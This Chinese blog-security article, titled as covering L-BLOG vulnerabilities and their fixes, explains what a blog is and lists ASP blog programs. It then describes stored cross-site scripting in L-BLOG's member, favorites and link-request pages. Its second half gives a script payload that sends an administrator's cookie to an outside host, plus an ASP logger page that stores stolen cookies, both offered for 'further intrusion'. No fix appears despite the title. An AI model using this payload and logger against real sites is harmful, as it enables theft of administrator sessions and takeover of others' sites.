L-BLOG 漏洞介绍及修复(图)
首先说说的是什么是blog(博客)?因为很多人都不知道blog是什么?就算看完了这篇文章都不明白,所以浪费一些篇幅!
释义:
网络出版(Web Publishing)、发表和张贴(Post——这个字当名词用时就是指张贴的文章)文章是个急速成长的网络活动,现在甚至出现了一个用来指称这种网络出版和发表文章的专有名词——Weblog,或Blog。一个Blog就是一个网页,它通常是由简短且经常更新的Post所构成;这些张贴的文章都按照年份和日期排列。Blog的内容和目的有很大的不同,从对其他网站的超级链接和评论,有关公司、个人、构想的新闻到日记、照片、诗歌、散文,甚至科幻小说的发表或张贴都有。许多Blogs是个人心中所想之事情的发表,其它Blogs则是一群人基于某个特定主题或共同利益领域的集体创作。Blog好象对网络传达的实时讯息。撰写这些Weblog或Blog的人就叫做Blogger或Blog writer。在网络上发表Blog的构想使于1998年,但到了2000年才真正开始流行。起初,Bloggers将其每天浏览网站的心得和意见记录下来,并予以公开,来给其它人参考和遵循。但随着Blogging快速扩张,它的目的与最初已相去甚远。目前网络上数以千计的 Bloggers发表和张贴Blog的目的有很大的差异。不过,由于沟通方式比电子邮件、讨论群组更简单和容易,Blog已成为家庭、公司、部门和团队之间越来越盛行的沟通工具,因为它也逐渐被应用在企业内部网络(Intranet)。
现在在网络上使用的blog程序大致分为多用户和单用户两个版本,ASP的Blog程序以及版本都比较多,自然而然的就会存在着各种各样的漏洞啊!现在主流的ASP Blog程序有以下几种:
1.L-BLOG (Loveyuki编写的ASP+ACCESS架构),这个程序的修改以及美化版本N多
2.O-BLOG(叶开编写的ASP+ACCESS/SQL架构多用户)
3.Misslong(多用户版本)
4.theanswer‘s blog(外国开源网站项目程序,代码谨慎简洁)
5.SIC's blog(L-BLOG的修改版本,安全性能都比原作强)
6.Dlong(猪飞飞编写的程序属于比较早的blog程序,停止开发了)
我就拿L-BLOG程序来进行分析!看看我们的L-BLOG有多少问题?
一.L-BLOG程序漏洞.(跨站式脚本漏洞)
使用最广的程序就会有更多的漏洞存在,我们L-BLOG程序也是一样啊!!首先看看的就是基本的漏洞跨站式脚本漏洞,在Member.asp/favorite.asp/bloglinks.asp页面里面发现,作者并没有为了防止跨站脚本的漏洞,所以完全没有过滤到任何的敏感字符,借此我们就可以进行COOKIE的盗取,以及对于BLOG的破坏了!
我们就拿Member.asp页面的“个人主页”栏目设置作为例子,我们发现只要输入特定恶意代码,这样子就可以拿到管理员的COOKIE或者进行破坏!例如:<script>alert("TEST.BY.H4K_B4N");</script>在个人主页栏目的时候
当管理员或者其他用户查看我们设定的帐号资料的时候,代码的就会启动,这样子就完成了跨展脚本的攻击了!
在三个页面当中危害性最大的就是bloglinks.asp添加连接页面,只要在申请连接的地址输入恶意代码,就可以直接拿到管理员的COOKIE了,因为每个连接都需要经过管理员的审核才可以,这样子每当管理员登陆admincp.asp管理后台的相关页面就会启动代码从而得到我们需要的COOKIE了!
代码如下:
<script> document.location='http://yoursite.com/cookie.asp?'%2Bdocument.cookie
</script>
COOKIE页面代码:
<%
Testfile=server.mappath("info.txt")
Msg=request.servervariables("QUERY_STRING")
Set fs=server.createobject("scripting.filesystemobject")
Set thisfile=fs.opentextfile(testfile,8,true,0)
Thidfile.writeline(""&msg&"")
Thisfile.close
Set fs=nothing
%>
利用以上的代码,我们就可以很轻松的拿到管理员的COOKIE资料,进行进一步的入侵了。